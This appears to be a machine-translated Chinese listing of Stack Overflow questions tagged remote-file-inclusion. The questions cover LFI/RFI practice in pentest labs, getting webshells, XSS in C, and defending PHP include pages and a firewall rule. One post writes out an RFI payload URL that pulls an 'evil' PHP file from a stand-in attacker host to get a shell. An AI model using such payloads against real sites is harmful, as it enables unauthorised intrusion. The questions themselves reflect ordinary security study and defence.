问题标签 [remote-file-inclusion]
For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.
bash - BASH 语法错误 nc -vvv 192.168.190.130 80 GET / bash: 意外标记 `(' 附近的语法错误
这是我为练习 LFI 而提出的要求。
这是我得到的错误：
bash：意外标记'（'附近的语法错误
当前使用 UBUNTU 18.04。
python - Django 框架是否容易受到本地文件包含（LFI）和远程文件包含（RFI）的影响？
就像在 php 中一样，include()方法和allow_url_include可能容易受到 LFI 和 RFI 的攻击。
django 的包含是否容易受到 lfi 和 RFI 的影响？
php - RFI 无法正常工作，如何打开外壳？
当我试图对给我的网页进行后门以查找特定文件时，在请求 shell 时，我在页面上收到以下警告，并且没有提供其他信息。应该弹出一个外壳吗？我对 RFI 有点陌生，这是我第一次使用它。
我使用的链接是：
搜索时的显示是：
description.php 看起来像这样：
问题是什么？我有点卡住了。
我应该创建一个 HTTP 服务器来推送我的 shell 吗？我读过一些关于这个但不确定这意味着什么
甚至文章的链接也值得赞赏
python - python http.server 模块在远程文件包含练习中无法通过端口 80 工作
我正在做一个渗透测试，我正在开发一台需要通过远程文件包含漏洞获得访问权限的机器。过去，我可以通过在我的机器上包含恶意文件来获取 webshell。我使用 python http.server 模块（sudo python3 -m http.server 80）这样做了，这工作得很好。但是，在第一次成功执行此操作后，我尝试再次运行此命令，每次运行时都会出现以下错误：
这似乎告诉我某些东西已经在使用端口 80 但是当我关闭网络浏览器时，使用 lsof -i :80 检查，即使重新启动我的机器它仍然无法正常工作。我还尝试通过不同的端口（http://VICTIMIP/path/to/file.php?vuln_param=http://MYIP:4444/path/to/evil/file.php）包含文件，但这没有不行。任何人都可以就如何前进提供任何建议吗？关于为什么 http-server 永远不能在端口 80 上工作，或者为什么 RFI 只能在端口 80 上工作？在这一点上，我真的想不出还有什么可以尝试的。
c - C 中的跨站点脚本漏洞
希望你一切安好。有人可以帮我解决这个问题。C 中的跨站点脚本。这发生在我的 C 文件中。
这里正在证明 URL，例如，他们如何获取信息。
这里发生的是黑客试图编辑 URL 并注入警报。当我尝试执行 URL 时，我收到 261 弹出警报。我需要限制 URL。我在这里添加文件，即rep_gtlsts.C 文件。我也添加了库文件，但它仍然无法正常工作，这意味着仍然会弹出。
提前致谢..！
php - 在 php 获取页面脚本中防止目录遍历
在我的网站被 LFI、RFI 和 DTA 攻击后，我正在尝试实现一个安全的 php 获取页面功能（我得到了整个包 LOL）。
浏览网页我发现这个脚本似乎可以很好地防止包含我以前未验证的文件
关于目录遍历，我在 Stackoverflow 上找到了这个 OLD 讨论
帕特里克摩尔建议清理这些脚本以防止目录遍历
但是，我怀疑我可以使用 Patrick Moore 建议的脚本，因为我必须包含的几个页面都包含在子文件夹中（参见上面的示例脚本），所以我认为我不能清理“/”，而不是如果我只使用 str_replace'..'和'\'.
鉴于我的网站的文件夹结构，任何关于如何清理传递值的建议都将受到欢迎。
apex - 从 Salesforce 连接的应用程序中的 loginUrl GET 参数中去除 ://
我们正在尝试将 Web 应用程序嵌入为Salesforce Connected/Canvas App，并使用 Oauth2 和Salesforce 的 canvas.js 对其进行身份验证。
不幸的是，当 Salesforce 上下文在画布中加载应用程序时——如果我理解正确的话，Salesforce画布只是一个iframe围绕它的一堆安全性的美化——它通过将 Salesforce 域作为 GET 参数传递来实现这一点——例如?loginUrl=https://my-sf.salesforce.com.
问题是我们的Web 应用程序防火墙阻止了这一点，因为它将其识别为潜在的RFI漏洞——这反过来又违反了 OWASP 指南。因此，我们没有在 中渲染我们的 Web 应用程序iframe，而是得到一个 HTTP403
我不明白 Salesforce 为什么这样做。好像他们不知道这个 OWASP 指南。无论如何，最重要的是我们必须找到一种方法从参数中去除那://部分——或者更好的是整个部分。https://loginUrl
最近有人告诉我有关 Salesforce Apex，以及在 Apex链接对象类和这段代码中操作 URL 的可能性。
不知何故，这并没有解决它。我所需要的只是“连接的应用程序” ——即使用而不是iframe调用的应用程序。?loginUrl=my-sf.salesforce.com?loginUrl=https://my-sf.salesforce.com
如果有人能给我指点如何做到这一点，那就太好了。